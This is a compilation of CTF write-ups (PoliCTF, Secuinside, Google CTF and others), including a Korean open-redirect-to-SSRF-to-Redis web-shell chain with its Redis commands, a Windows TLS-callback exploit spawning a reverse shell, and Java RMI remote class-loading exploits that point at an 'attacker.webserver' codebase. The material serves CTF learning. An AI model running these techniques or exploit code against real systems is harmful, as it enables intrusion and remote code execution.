tn = telnetlib.Telnet("cm2k-sorcery_13de8e6bf26e435fc43efaf46b488eae.quals.shallweplayaga.me", port = 12002)tn.read_until('\n')while 1: a = tn.read_until('\n')[:-1] print a if 'flag' in a: break cmd = "objdump " + a + " -d -M intel" process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE) output, error = process.communicate() o = '' for i in output.split('\n'): if 'cmp cl' in i or 'cmp al' in i: i = " ".join(i.split()).split() i[0] = int(i[0][:-1],16) if i[0]>13568 and i[0]<17664: o+=i[-1][-2:].decode('hex') print o tn.write(o.encode('base64'))``` |
Polictf was this weekend. One of the Grab bag challenges was the Tower challenge. It consisted in a maze being printed out with a goal to reach (x,y coordinates). We had to submit a series of actions to get to the goal (w for up, s for down, etc.). |
# solution
여기에는 취약점이 2개가 있는데 아래와 같다
1. open redirect 2. SSRF
확인해야 할것 robots.txt
/cache directory
1. open redirect는 로그인 할때 생김
웹 버그헌팅을 좀 하면 알겠지만 우선 다수의 사이트들에서 POST 파라메터를 GET으로 보내도 정상작동을 하는데 이걸 이용해서 Open redirect 취약점을 해야한다 하지만 필터링이 걸려있어 우회를 해줘야된다
1. http://adm1nkyj-kuploadbox.com/index.php?ad=member&mi=login&id=adm1nkyj3&pw=1234&returnURL=http://adm1nkyj.kr&send=login // fail
2. http://adm1nkyj-kuploadbox.com/index.php?ad=member&mi=login&id=adm1nkyj3&pw=1234&returnURL=http://adm1nkyj.kr%[email protected]&send=login // fail
3. http://adm1nkyj-kuploadbox.com/index.php?ad=member&mi=login&id=adm1nkyj3&pw=1234&returnURL=http://test.adm1nkyj-kuploadbox.com&send=login // bypass
4. http://adm1nkyj-kuploadbox.com/index.php?ad=member&mi=login&id=adm1nkyj3&pw=1234&returnURL=http://adm1nkyj-kuploadbox.com.adm1nkyj.kr&send=login // fail
5. http://adm1nkyj-kuploadbox.com/index.php?ad=member&mi=login&id=adm1nkyj3&pw=1234&returnURL=http://exploit-adm1nkyj-kuploadbox.com&send=login // bypass
open redirect 취약점을 찾았으면 이제 SSRF를 시도해보자
2. SSRF 프로필 변경 할때 생김.
프로필 변경 할때 보내는 POST body
```------WebKitFormBoundaryyx4ywOKfeaO8nCA7Content-Disposition: form-data; name="pw"
1234------WebKitFormBoundaryyx4ywOKfeaO8nCA7Content-Disposition: form-data; name="nick"
testidcc------WebKitFormBoundaryyx4ywOKfeaO8nCA7Content-Disposition: form-data; name="profile"
http://files.adm1nkyj-kuploadbox.com/index.php------WebKitFormBoundaryyx4ywOKfeaO8nCA7--
```
1. http://files.adm1nkyj-kuploadbox.com/index.php // 404 not found
2. http://aaaaaa-adm1nkyj-kuploadbox.com/index.php // check image url
3. http://testtest#@adm1nkyj-kuploadbox.com/index.php // check image url
4. http://adm1nkyj-kuploadbox.com.aaaaaaa/index.php // check image url
5. http://aaaaa-adm1nkyj-kuploadbox.com/index.php // check image url
6. http://www.adm1nkyj-kuploadbox.com/index.php // error! check file type
여기는 이미지 URL을 넣고 올바른 URL이라면 CURL로 긁어온 다음 이미지인지 아닌지 체크후 프로필을 변경 하는 구조이며 일반적인 URL로는 공격할수가 없지만 아까 킵해둔 Open Redirect 취약점으로 바이패스가 가능하다.
ex) http://www.adm1nkyj-kuploadbox.com/index.php?ad=member&mi=login&id=testid3&pw=1234&returnURL=http://exploit-adm1nkyj-kuploadbox.com/index.php&send=login
Open Redirect와 SSRF 취약점을 찾았으면 이제 내부 포트 스캐닝을 해보자
ex)
exploit-adm1nkyj-kuploadbox.com/port.php source
```php
```
포트 스캐닝을 하다보면 6379 포트가 열려있는걸 알수가 있는데 6379포트를 구글에 검색 하게 되면 6379를 검색하게 되면 redis 기본 포트 란걸 알수 있게 된다 (https://www.google.co.kr/?gfe_rd=cr&ei=Av5YWbu7Iano8AfQ05rgBA&gws_rd=ssl#q=6379+port)
그후 redis를 이용해 cache폴더 웹쉘을 올리면 문제를 풀수있다.
redis command
```FLUSHALLeval 'redis.call("set", "", "test"); redis.call("config", "set", "dir", "/var/www/html/cache/"); redis.call("config", "set", "dbfilename", "exploit.php");' 0savequit
```
최종 exploit
exploit-adm1nkyj-kuploadbox.com/mytask_full_exploit_1.php
```php
```
exploit POST body
```------WebKitFormBoundaryyx4ywOKfeaO8nCA7Content-Disposition: form-data; name="pw"
1234------WebKitFormBoundaryyx4ywOKfeaO8nCA7Content-Disposition: form-data; name="nick"
testidcc------WebKitFormBoundaryyx4ywOKfeaO8nCA7Content-Disposition: form-data; name="profile"
http://www.adm1nkyj-kuploadbox.com/index.php?ad=member&mi=login&id=testid3&pw=1234&returnURL=http://exploit-adm1nkyj-kuploadbox.com/mytask_full_exploit_1.php&send=login------WebKitFormBoundaryyx4ywOKfeaO8nCA7--```
하면 cache/exploit.php로 웹쉘이 올라간다. |
Solution: 1. pwntools to receive data2. Breadth First Search algorithm which is explained here: http://bryukh.com/labyrinth-algorithms to find a way. 3. The list was in reversed order and the format was a bit more complicated to parse. See tower.py in linked git repo for solution! |
The writeup is written in Chinese. **To make it easier for foreign players to read, I try to use normative expressions and grammars in this writeup to make machine translations as accurate as possible and not puzzling. Google Translate is recommended!**
https://blog.cal1.cn/post/RCTF%202017%20rBlog%20&%20rFile%20writeup |
# Google CTF - Anonymous Exchange
>I've bought some bitcoins with my credit cards, and some of them attracted attention, but I don't know which ones. Could you find out?>Challenge running at anon.ctfcompetition.com:1337
Let's take a look:
```Diff$ nc anon.ctfcompetition.com 1337Hey. Could you tell me if my cards ccard0x1 through ccard0x40 have attracted the wrongtype of attention? Flagged cards are displayed in their dumps, and their encryption isdeterministic. I seem to have the wrong encoding on my terminal, so I'll need helpthere. I'll patch you into a management interface in a few seconds.
Welcome to our telnet dogecoin exchange!.We've currently frozen most of the operations pending an investigation into potentialcredit card fraud with law enforcement. - NEWACC to create an account. - NEWCARD to create a test credit card. - ASSOC <cardx> <accounty> to associate cardx to accounty. - BACKUP to generate a anonymized encrypted jsonified maybe-emojified backup.```
The first thing to do is take a look at the BACKUP function. Here's an example account record:
```JSON{ "account": "d82b2fb9eae6c10b", "cards": [ { "card": "b698929890dce9c6" }, { "card": "85ff9e8504f55324" }]}```
Without using any of the other commands, we can investigate the database. There areabout 300 accounts and 500 cards, the exact number changes each time, as does theassociations between accounts and cards. We see accounts with 0, 1, 2 or 3 associatedcards. And we see cards that have 1, 2, or 3 associated accounts. After playing around furtherwe can verify that associations are indeed restricted to these values.We are allowed to perform associations with the target cards and testaccounts. Additionally, we get cut off after 55 seconds, which limits the number of operationswe can perform.
Given the category of the challenge is Misc rather than Crypto, it is unlikely wewill need to exploit a weakness in the encryption, beyond the fact we are told itis deterministic. The determinism means that if a card appears twice in the database,we know it will be represented by the same string.
**The challenge is still running, so I'd encourage you to fire up netcat and havea stab at a solution before reading on!**
The quantity of noise in the database means that we cannot hope to distinguishbetween a randomly generated account and a single account we create. Every validarrangement of accounts already exists in the database. The solution is to generate asequence of accounts which we can distinguish. In particular we can build a "path" of accounts,where each consecutive pair of accounts have a card in common. Although there will no doubtbe short paths in the random data, a path of 32 or so accounts is very unlikely to happen by chance.
```Makefile +-----------+ +-----------+ +-----------+ +-----------+ | ACCT 1 | | ACCT 2 | | ACCT 3 | | ACCT 4 | +-----------+ +-----------+ +-----------+ +-----------+ | Card 1 | +-----> Card 2 | +---> Card 4 | +---> Card 6 | +-----------+ | +-----------+ | +-----------+ | +-----------+ ... and so on | Card 2 +--+ +--> Card 3 | | | Card 5 | | | Card 7 | +-----------+ | +-----------+ | +-----------+ | +-----------+ | Card 3 +---- + | Card 4 +---+ | Card 6 +---+ | Card 8 | +-----------+ +-----------+ +-----------+ +-----------+```Notice that the first and second accounts overlap by two cards. This allows usto determine the start of the sequence. The cards in the backup are not ordered,so without this modification we would not be able to distinguish between thestart and end of the list. Writing the code to perform these associations is straightforward:
```Pythondef createAccountWithCards(r): r.send("NEWACC\n") accountName = r.recvline().split(" ")[2] log.debug("Created Account Name: " + accountName) return accountName
def performASSOC(r,cardName,accountName): command = "ASSOC " + cardName + " " + accountName r.send(command + "\n") response = r.recvline() if "KO" in response: log.warn(command + " " + response) return -1 else: log.debug(response) return 0
acc = createAccountWithCards(altered,0)performASSOC(altered,"ccard"+hex(1),acc)performASSOC(altered,"ccard"+hex(2),acc)performASSOC(altered,"ccard"+hex(3),acc)log.info("Created ACC with cards [1,2,3]")for i in range(2,65,2): acc = createAccountWithCards(altered,0) performASSOC(altered,"ccard"+hex(i),acc) performASSOC(altered,"ccard"+hex(i+1),acc) performASSOC(altered,"ccard"+hex(i+2),acc) log.info("Created ACC with cards ["+str(i)+","+str(i+1)+","+str(i+2)+"]")```
>NOTE: I'm using [pwntools](https://github.com/Gallopsled/pwntools) as a framework
Now we need to grab a copy of the backup and search for our path within it. The ideaof the algorithm is very simple, we start with one possible path forevery account in the database (assuming the path starts with that account) and lookfor a two card overlap with another account. If we find a match, we add it to thepath and continue looking. We stop when we have a path of length 32. There are of coursequite a few cases to try and we have to be careful not to loop back on ourselves.
The code for the backwards search:
```Pythondef getPath(alteredJSON, sequences): newSequences = [] for seq in sequences: #For every sequence in our list of possible sequences head = seq[-1] #Get the last account in the sequence overlap = 2 if len(seq) > 1: #We have already found the first element overlap = 1 accJSON = getAccountByName(alteredJSON,head) nextSteps = getPossibleNextAccounts(alteredJSON, accJSON, 1, list(seq)) if len(nextSteps) > 0: for step in nextSteps: #For each possible next step newSeq = list(seq) #Create a copy of the list newSeq.append(step) #Add the next step newSequences.append(newSeq) #Add it to the list of possible sequences else: #There are no further elements if len(seq) == 32: #Finish! We found the path! return [seq] return newSequences
def getPossibleNextAccounts(alteredJSON, currentAcc, targetSize, noMatch): possible = [] #Generate the powerset of the cards, then filter it down to the right size. for overlapSets in filter(lambda s: len(s) == targetSize, powerset(currentAcc["cards"])): candidate = getNextAccount(alteredJSON, overlapSets, noMatch) #There might be multiple overlaps due to random chance while candidate != "NONE": possible.append(candidate) noMatch.append(candidate) candidate = getNextAccount(alteredJSON, overlapSets, noMatch) return possible
def getNextAccount(alteredJSON, targetCards, noMatch): for acc in alteredJSON: if acc["account"] not in noMatch and targetCards in getAccountCards(acc): return acc["account"] return "NONE"```So now we have our list of accounts in the path and consequently we can work out whichcards are flagged or not. If you have been following closely, you will realise that wecannot distinguish between the cards in position 2 and 3, or between the cards in position63 and 64. This is because I was too lazy to write the additional code that would add anextra account to allow us to distinguish these two cases. Instead I settled for possibilyhaving to run the script a couple of times. It will only get the wrong answer if the pairshave different flagged statuses and it guesses wrongly (50% chance for each) which happensto be quite rare in practice.
Here is the script running:
#### See the original write up (I can't embed the script here)
And there we go! Quite an interesting challenge - it doesn't require much in the way of pre existing knowledge, just some careful thought.However, of the 1971 teams that completed the introductory challenge in the CTF, only 31 teams sucessfuly solved this challenge!
The source can be found [here](https://www.dennisjj.co.uk/anonExch.py). Those interested in code gore can findthe script as it was written on the day [here](https://www.dennisjj.co.uk/anonExchORIGINAL.py). |
## Program description Windows executable 32bit compiled with DEP+GS+ASLR enabled The program contains a reverse shell, ready to be used. -with option 1 you set ip and port -with option 2 you connect but still no shell, only tcp connection (note the attacker should be listening on a public ip for this to work)-with option 3 you launch the shell (cmd.exe) (Note this option can't actually be used because it checks the owner is the correct one: strcmp "Nesos\0") -in the menu there is a way to set the owner (as hex string)
Once you do this... you still can't spawn the shell, as the program says that you are not in "debug mode" and the shell is disabled (just a random excuse, internally it check for three differnt int values and they must be ==1). In order to solve the challenge you need to find a way to set the three checks to 1, then use option 3 to spawn the shell.
The vulnerability is in the SetOwner function: it has an overflow of 4 bytes while converting from the hex string in input to the ascii correspondent (eg "41414100" to "AAA") The owner string is 8 bytes, while you can write 12, overflowing by 4 bytes. The string is intentionally very short because i don't want people to abuse this in unintended ways -- No rop or whatever; there must be only my bug!
Following the owner string there is a pointer to it (that can be overwritten). Since SetOwner function write where that pointer point we gain a write-what-where primitive of 12 bytes.
I have added extra stack randomization and 1 second delay to prevent bruteforce: sub esp,max0xFFFF wasted max 65k of memory. Even if you knew where the stack is (and shouldn't be the case), you'd need 4 hours to solve this; 2 hours half "key space"... except if you spawn multiple connections at once, then you're probably faster. I've added these checks hoping to prevent people from bruteforcing the solution, as the intended exploit is 100% reliable.
### How to solve:
Objective: set check1, check2, check3, call `spawn shell` option.
First thing to do is use `PrintShellcode` option; this will print a small piece of the function where the only useful thing is the ASLR leak from the GS/stack cookie initialization:
`text:00401566 mov eax, ___security_cookie`
Since the exe is 32bit and 32bit doesn't support *HighEntropyVA* the exe is randomized as a single block (and not each section separatly). With this leak of the *.data* section location we can compute the location of the *ImageBase* and *.text* sections.
`leakVA-stackCookieRVA=ImageBase`
There are three functions that sets the "debug mode" one for each check; they are never used, but can be found if you search references to the checks:
- `.text:00402DF0 sets the data section check (int==1)` - `.text:00402E10 sets the first heap check (pointer to int==1)` - `.text:00402E1F sets the second heap check (pointer to int==1)`
here is the interesting part:
```char owner[8] = "";` char \* ptrOwner = (char*)&owner;//SetOwner write where this points` int \*debugModeHeap2 = NULL;//malloc at runtime` int dummy = 0;` ```
Since a check is near the pointer, we can overwrite the pointer, changing it to point to itself. This way we can still change "where" and also pass one of the three checks. We can solve this either by setting the pointer to the data section check or by pointing to the dummy int and setting it to 1. Meanwhile we also set the correct owner "Nesos\0".
Changing the pointer itself is not a problem, as strncmp will use a different pointer to that string.
Our first line of exploit will be (supposing no aslr):
```SetOwner("Nesos\x00AA"+p32(ownerPtrVA))4E65736F7300414100405020 .data:00405020= 0x00405020```
we can still control where the pointer points (the "where" of our write-what-where primitive). the pointer points to itself; we now overwrite the first check and also move the pointer to point to the tls callback array:
```SetOwner(p32(tlsCallbacksArrayVA)+p32(ownerPtrVA+8)+p32(1))445040002450400001000000 ```
From now on, we won't be able to change "where" anymore but we won't need to. As for the other two checks we will make use of *TLS Callbacks!*.
Since many debuggers/disassemblers detect the presence of tls callbacks, I haven't added any, but I have added the *TLS Directory* in the *PE Header* so they can be used!
### Quick intro on tls callbacks:
- There is a TLS Directory in the PE Header - There is a NULL-terminated array of callbacks (pointers to functions) - Those functions are called *before* main/entry point and on new threads creation - They are rarely used and that's a reason to insert them ;) - They are also called on process/thread closing: both return 0; and ExitProcess(0); and this was the biggest "secret", almost noone knew this ;)- Malware sometimes use them: a notable case is UPX packer where upx -d[ecompress] decoded a normal exe but doubleclicking on the original launched a malware: tls was used to patch the unpacking routine at runtime. - I have read that delphi uses them for it's internal purpose (never checked) - they are called by *ntdll* - callbacks can be added/edited at runtime by changing the array- the callback prototype is: `void _stdcall TlsCallback(PVOID DllHandle, DWORD dwReason, PVOID __formal) `
This might let you think that we can't use them to set the remaining two checks and SpawnShell, after all we don't have stdcall functions with three parameters:
- Setchecks are *stdcall* with only one (dummy) parameter- SpawnShell is *cdecl* with no parameters
Luckily *ntdll* will fix the stack for us just after the call, by `mov esp,esi`. So we don't need to have a correct function, almost any function will work (as soon as the function doesn't write too much on the stack).
With SetOwner we can thus change the pointer and point it to the tlsCallbacksArray.
We will set the three callbacks to:
```.text:00402DF0 data check .text:00402E10 heap check .text:00401560 SpawnShell ```
When we exit, they will be called in this order and *cmd* will be launched just before the program exit. Launching is set so that child will inherit handles and has stdio redirected, in this way also if main process is ended, the connection started by it will survive.
### Things that will not work
- Setting all three checks by using the write-what-where primitive: after setting two out of three you will not be able to change where.- Setting the TLS array to set all three checks: since tls is triggered on close you will have a program that pass the checks... but a closed program is useless.- A ROP: you don't know where stack is and also if you somehow know, you can't do this because you don't know where WinExec is:`setowner1: <cmd\0><dummy4bytes><setowner stack return address>``setowner2: <winexec><return addr of winexec=main><ourcmd above><uCmdShow (can't be set by rop how we want but we don't care)>`- Using a single TLS that point in the middle of SpawnShell (so we skip checks): i set the program to be opened before checks and open it after checks; skipping them you will skip also the string initialization so you will spawn nothing
If i'm right you can't do rop (return oriented programming) because there are only 12 bytes (3 addresses) and the above functions are stdcall with a dummy parameter; also there shouldn't be a stack leak. Aother rop idea might be: return to one set check function; it has a pop of a parameter so you are left with only one address, the best you can do is probably to return a bit after main start (so that checks are not cleared) and do this N times. not sure it will work because you can't change anymore "where" of our primitive.
You *Can't* change all three checks because they are intentionally "far" so if you change two of them you will lose the ability to change the pointer and you will be locked.
### Difficulty
I have no idea... if you aren't used to mess with Windows internals it's quite hard, half undocumented thigs and rarely used, ntdll instruction, things that happens on closing... all this make me thing that is hard.On the other side the exploit it kinda simple:- press 4=leak -> aslr gone - x3 set owner - press 1 & 2: set ip & connect - exit
### Known bugs- Wine doesn't support ASLR '-_- i hoped noone noticed it, i was wrong. hoped also it was not a problem because i actually leak aslr intentionally.(but it support dep and page protections so that text is not writable)- After noticing that wine has no aslr i have added stack randomization but i forgot to replace return -1 with exit process -1 (it crash accessing 0x0); not a real problem because it never fail to malloc 4 bytes and you can't do anything with it.
### Unknown bugs - Wine crash dumps were enabled so you had *almost anything!!!* DOH!!. I have not deployed it on the remote server but i admit that i forgot this... i have extensively tested on windows, much less on wine. we have then disabled crash dumps (there were still 0 solves). - thought/hoped that dll were randomized on wine: exe randomization is an extra (aslr) but dll relocation should be by design, if more than one has same imagebase, seems i was wrong or maybe this is related to crashdump problem. - Processes (unlike on windows) were not always stopped so we ended up with many instances of the exe running and things got slow, we added a killall each n minutes. - there is a unintended solution involving overwriting strncmp@got inside msvcrt.dll.so. I hope someone will write a writeup on this! I tried hard to avoid unintended solutions but as expected people have mad skills xD
### Conclusion
I wanted to make something hard as people playing ctfs are very skilled, something without guessing/long bruteforce and also something different and new, not "the usual rop".Judging from the comments I'd say mission accomplished ;)
- oh, wow, never heard about that :) thank you!, great stuff!- oh fuck- oh damn, i didnt know that :/ thanks very much!- but aren't those called at program startup?- solved it with the callbacks, was a cool idea!- argh, i also thought tls was only on startup :'(
Thanks anyone for playing!Greetings from ItalyNesos |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>write-ups</span></span></span><span>/</span><span><span>Secuinside 2017</span></span><span>/</span>babyheap<span>/</span> </div> </div>
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# PoliCTF 2017 - **Tower**`Grab Bag` `154pts` `74 solves`
-----* *@author*: derbenoo* *@note*: The [GitHub repository]( https://github.com/Benjamin-Assadsolimani/ctf-writeups/tree/master/PoliCTF_2017/Tower) contains the full source code as well as an example maze to self-host the challenge.
-----
## Challenge DescriptionYou are entering a Lab where you will be the experiment
`nc tower.chall.polictf.it 31337`
## OverviewAfter connecting to the given service via netcat, we are presented with a random labyrinth, our start coordinates (which are always at [0,0]) and the coordinates of the goal that we have to reach:```[...]| | |_ _|_| | _|_ | _ | _ _| |_ | | | | | |_|_ |_ | | | |_|_ _| |_| | |_| _ _ _| _ _| _| | | | | |_ _| | |_ _ _ | | | | |_ | | | _|_ _| |_ _|_| | _| | | _|_ _ | _|_| | | | |_ |_| |_| |_ | |_ | | |_| | | _ _| _ | | _ _| | | | _|_ _ | _|_ | |_| | | | |_|_ _| | | _| | _| _| _| | | | | | | |_| |_ _ _ | | |_ |_|_ |_ _ _ _ | | | |_ | |_ _|_ _|_|_ _|_|_|_ _ _ _ _|_ _ _ _|_ _ _ _|_ _ _ _ _|_|_ _ _ _ _ _ _|_|_|_ _ _| start: 0, 0goal: 24, 68Use wasd to write the path you want to take (w up, s down, ...)(the lower left cell is 0,0)```We can navigate through the labyrinth by sending `w` `a` `s` `d` and are not allowed to hit a wall, otherwise we get the message: _"You hit a wall, you lose"_ and the connection is closed. Besides this message, we don't get any feedback from the server about our progress. Overall, it is pretty clear what we have to do:* Read and process the labyrinth and the goal location* Write an algorithm that calculates a path from the start location to the goal location* Send the path to the service and receive the flag
## Solution
### Labyrinth processingWe store the labyrinth data in a list of strings called `maze` and remove the trailing whitespace and newline characters. We know that each labyrinth has 121 lines where each line has a length of 81.
The labyrinth consists of the following characters: * ` ` whitespace: we can walk on this field from any direction unless an underline field is above it.* `_` underline: We can walk on this field from everywhere except from below.* `|` vertical bar: we cannot walk on this field.
Furthermore, the first column is not part of the coordinate system as we start at position (0,0). To move up and down, we simply have to increase or decrease the list index of our labyrinth datastructure. However, our coordinate system starts in the upper left corner while the provided coordinates start in the lower left, so we have to start at `len(maze)` and then subtract our position from that (plus the offset of 1 because the lower wall is also not part of the labyrinth). To move left and right, we have to take the offset of 1 into consideration as well as move 2 characters inside the respective string since the labyrinth is spaced out on the horizontal axis. We write a simple conversion method:```Pythondef coordToMaze(x,y): return ( 2*x+1 , len(maze)-y-1)```
### Path finding algorithmWe introduce the following variables for our path finding algorithm:* `(x,y)`: our current position in the labyrinth* `orientation`: which way we are currently facing
With these variables, we can implement a very naive algorithm: We know that we will walk through the whole labyrinth eventually if we take every possible **right** turn and the labyrinth does not have any loops. By the looks of it, the generated labyrinths seems to be suited for this approach and our algorithm does not have to work 100% of the time (we only need to get the flag once). We write a small method that implements this algorithm:
```Pythondef walk(goalx, goaly): path= "" x,y = coordToMaze(0,0) orientation = 0 while(x != goalx or y != goaly): orientation = right(orientation) while not canMoveForward((x,y),orientation): orientation= left(orientation) x,y = moveForward(x,y,orientation) move= convertOrientation(orientation) path= appendToPath(path, move)
return path```
The algorithm does indeed return a valid path so we try it out:
```Number of steps: 220Ehi!! You're still in the lab!! Where are you going?!?```Damn, apparently we cannot walk inside the labyrinth forever! Looks like we need to optimize our pathfinding algorithm a little bit. A simple improvement would be to check whether two movements cancel each other out and remove them from the path:
```Pythondef appendToPath(path, move): if len(path) == 0: return (path+move) lastMove= convertBack(path[-1]) inverted= invert(lastMove) if inverted == convertBack(move): return path[:-1] return (path+move)```
### Getting the flag
Our improved algorithm seems to already compute way smaller pathes and indeed, the server accepts our input:
```flag{Does_Runn1ng_r4ndom_m4z3s_make_you_h4ppy!?!?!?}``` |
## PONG
* Level 1: So much pixels and fun!
* Level 2: Ready for another match? :P
## How to run
In the `deployed` folder, there is the pre-built challenge. Pong has a client as well :) You can find the client in the `pong_client` folder.
During the CTF, we deployed the executable `pong`, and you connected to it using the client, i.e., `./pong_client pong.chall.polictf.it 31337`. You could download all the servers’ binaries (the server and the two levels) and the client.
## How to build
See `build.sh`
## How to solve
*** SPOILER ALERT ***
You can find the exploits in the `solution` folder. |
LameRMI is a java/rmi pwning challenge written for 2017 edition of PoliCTF.
We know of two solutions to this challenge, this post details the one by the challenge's author, and an alternative one by another ToH member.
Unfortunately, due to a bug in the start script, this challenge only became fully operative some hours after the beginning of the CTF. Interestingly, the alternative solution (the one we scripted and used to check the challenge was up) worked, as it didn't depend on the benign functionalities of the server at all.
### Description
- Bill is a computer science student- Bill managed to lock himself out of his own vps again- Bill remembers that a small program he wrote to understand RMI is still running on the server, and that to get it working he's blindly copypasted snippets from stackoverflow and its professors slides. Maybe there's still hope of getting the flag he left there.- Please help Bill
Url: `lamermi.chall.polictf.it`
#### Hints/Updates:
1. Pay attention that "http://" is not written anywhere (read the description!)2. I heard that Bill's security policy is not that strict...3. There's a webserver running on port 8000 as well. You may (or may not) need it.
## Author's solution
### Information gathering
- Running nmap on the server, you can find two open ports: 1099 (as expected), corresponding to an rmi registry, and an http server on port 8000- the http server contains a class file (which you can decompile with IntelliJ Idea) with the `AverageService` interface
```javapublic interface AverageService extends Remote { Double average(List<Integer> integerList) throws RemoteException;}```
Documentation for RMI itself is available at the oracle website. The tutorial is available here: https://docs.oracle.com/javase/tutorial/rmi/overview.html
A good first step is querying the RMI registry for a list of exposed services:
```javaRegistry registry = LocateRegistry.getRegistry("lamermi.chall.polictf.it", 1099);System.out.println("registry found");
String[] ports = registry.list();for (String port: ports) { System.out.println(port);}// prints "AverageService"```
Using the previously found interface, we can also make queries to AverageService in the following way
```javaAverageService averageService = (AverageService) registry.lookup("AverageService");ArrayList<Integer> myIntList = new ArrayList<Integer>();myIntList.add(1);myIntList.add(2);myIntList.add(3);System.out.println(averageService.average(myIntList)); // prints "2.0"```
### Finding the vulnerability
The text says that the RMI application was built by a student in a hurry, following tutorials and blindly copypastingcode snippets. Since it is fairly difficult to accidentally insert vulnerabilities in java code (much less in a servicewhose only input is a list of integers), the vulnerability must lie in a misconfiguration.
Skimming again the RMI tutorial, we can gather that RMI has a mechanism for loading missing classes from an external codebase over http. This behaviour is useful when the client and the server exchange (as parameters or return values)concrete implementations of the interfaces the service defines. Normally there are security policies in place, ensuringthat code can only be loaded from certain places, and can only execute with specific permission, but since we're talkingabout a server misconfiguration, trying to exploit RMI class loading is certainly worth giving a shot.
The way we'll perform the exploit is by writing our own implementation of List<Integer>, and providing the class file tothe server via a public http server of our own. If we're lucky, the server will make use of the codebase our client provides, and will load our malicious classes.
```bash# running our client (the exploit), note the codebase url we're telling the server to use java -Djava.rmi.server.codebase=http://my.server.with.malicious.mylist.class/ it.polictf.lamermi.Exploit```
### Writing the exploit
The following is the actual exploit code. We'll write a myList class with a malicious iterator method (although other methods are fine as well), and exfiltratethe flag by throwing an exception, which will be propagated to the client.
```javapublic class Exploit { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("lamermi.chall.polictf.it", 1099); System.out.println("registry found"); AverageService averageService = (AverageService) registry.lookup("AverageService"); System.out.println("average service found");
List<Integer> l = new myList<>(); System.out.println("sending exploit"); Double result = averageService.average(l); System.out.println(result); }}```
```javapublic class myList<E> implements List<E>, Serializable { public static final long serialVersionUID = 42L; //... other ovverrides @Override public Iterator<E> iterator() { try{ String content = new String(Files.readAllBytes(Paths.get("flag"))); throw new Error(content); } catch (Exception e) { throw new Error(e); } } //... other ovverrides}```
### About the vulnerability:
The server is vulnerable because of two pieces of configuration. The first one is this very permissive security policy,which is not hard at all to find on the web and in stackoverflow questions.
```grant { permission java.security.AllPermission;};```
The second vulnerability is admittedly less common, but you can still find it in stackoverflow answers. RMI has a[java.rmi.server.useCodebaseOnly property](http://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html) (defaulting to true since java7), which tells the server _not_ to use codebases provided by clients. Setting it to false restores the old and insecure behaviour:
```bash# Command we used to launch the server, note the useCodeBaseOnly flagjava \ -Djava.security.policy=security.policy \ -Djava.rmi.server.useCodebaseOnly=false \ -Djava.rmi.server.hostname=lamermi.chall.polictf.it \ -jar lamermi-1.0-SNAPSHOT.jar```
## [Mortic's](https://ctftime.org/user/22776) writeup
### Provided informations
Our target is an RMI registry at a given URL
### Information gathering
We can start by scanning the server for RmiRegistries with nmap, [which has a built-in script](https://nmap.org/nsedoc/scripts/rmi-dumpregistry.html) for that!
```nmap --script rmi-dumpregistry.nse -sV --version-all -p 1099 lamermi.chall.polictf.it```
We can suppose the port to be 1099 as it is the default port for RMI, a quick scan of the server would have shown that this hypothesis is correct.
There is a web server on port 8000 too that offers an interface: `AverageService` but playing with it doesn't show anything interesting.
Searching around the internet I found that RMI serializes all the objects that are sent from a client to a RmiRegistry. Java deserialization process invokes a method of the objects it is reconstructing __before__ any other check by the program takes place.
The method is `private void readObject(java.io.ObjectInputStream in)` and it can be overridden in any object implementing the Serializable interface. On deserializing, as it should happen, all the code in that method will be executed, so we can have a possible remote code execution by requesting the registry to deserialize a Java object.
But it's not that easy, as the code for the Java object we want to deserialize (including the `readObject` method) must be already available to the server. There are some well known exploits that rely on java deserialization, and on the misuse of the `readObject` method of certain libraries already in the server's classpath (see [here](https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles), [here](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) and [here](https://www.integrigy.com/files/Integrigy%20Oracle%20Java%20Deserialization%20Vulnerabilities.pdf) for instance), but we won't need to make use of that.
Searching for the Oracle documentation we can find a feature that allows a RmiRegistry to dynamically load new classes if a server cannot resolve a class he can ask a web server its implementation, exactly what we needed!
If the RmiRegistry security policies are not configured correctly (ie. they allow all, and the `java.rmi.server.useCodebaseOnly` property is set to false) it is the __client__ who can specify an http codebase for the server to use, by means of the `java.rmi.server.codebase` flag.
```-Djava.rmi.server.codebase=http://attacker.webserver/folder```
Now that the server has a way to access the compiled binary of our exploit class, and its `readObject` method, the only thing we need to do to cause RMI to deserialize our exploit is just attempting to bind our exploit class as a new service on the RMI registry.
```javaregister.bind("New service", exploit_class);```
Note that the binding of new services from the client is not allowed but the object will be de-serialised __before__ that check is made by the system!
### The exploit
*Console command*```java -Djava.rmi.server.codebase=http://attacker.webserver/folder Main```
*Main class*```javapublic static void main(String args[]) {
AverageService service = null; Registry reg1 = null; Remote p = new Payload();
String host = args[0]; int port = Integer.parseInt(args[1]);
System.out.println("Searching registry at "+host+":"+port);
try { reg1 = LocateRegistry.getRegistry(host,port); } catch (RemoteException e) { System.out.println("No registry found!\nAborting..."); e.printStackTrace(); return; } finally { System.out.println("Registry found!"); }
System.out.println("Starting exploit..."); try { reg1.bind("new service", p); } catch (RemoteException | AlreadyBoundException e) { System.out.println(e.getMessage()); }}```
*Exploit class*```javapublic class Exploit implements Remote, Serializable { public void exploit() throws IOException { /* Cat flag is not java enough */ BufferedReader br = new BufferedReader(new FileReader("flag")); try { StringBuilder sb = new StringBuilder(); String line = br.readLine();
while (line != null) { sb.append(line); sb.append(System.lineSeparator()); line = br.readLine(); } String everything = sb.toString(); /* We cannot use System.out to print the string so I decided to insert the result of the exploit inside an exception. All the unhandled exceptions are kindly sent back to the client. */ IOException e = new IOException(everything); throw e; } finally { br.close(); } }
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { exploit(); in.defaultReadObject(); }}```
### References
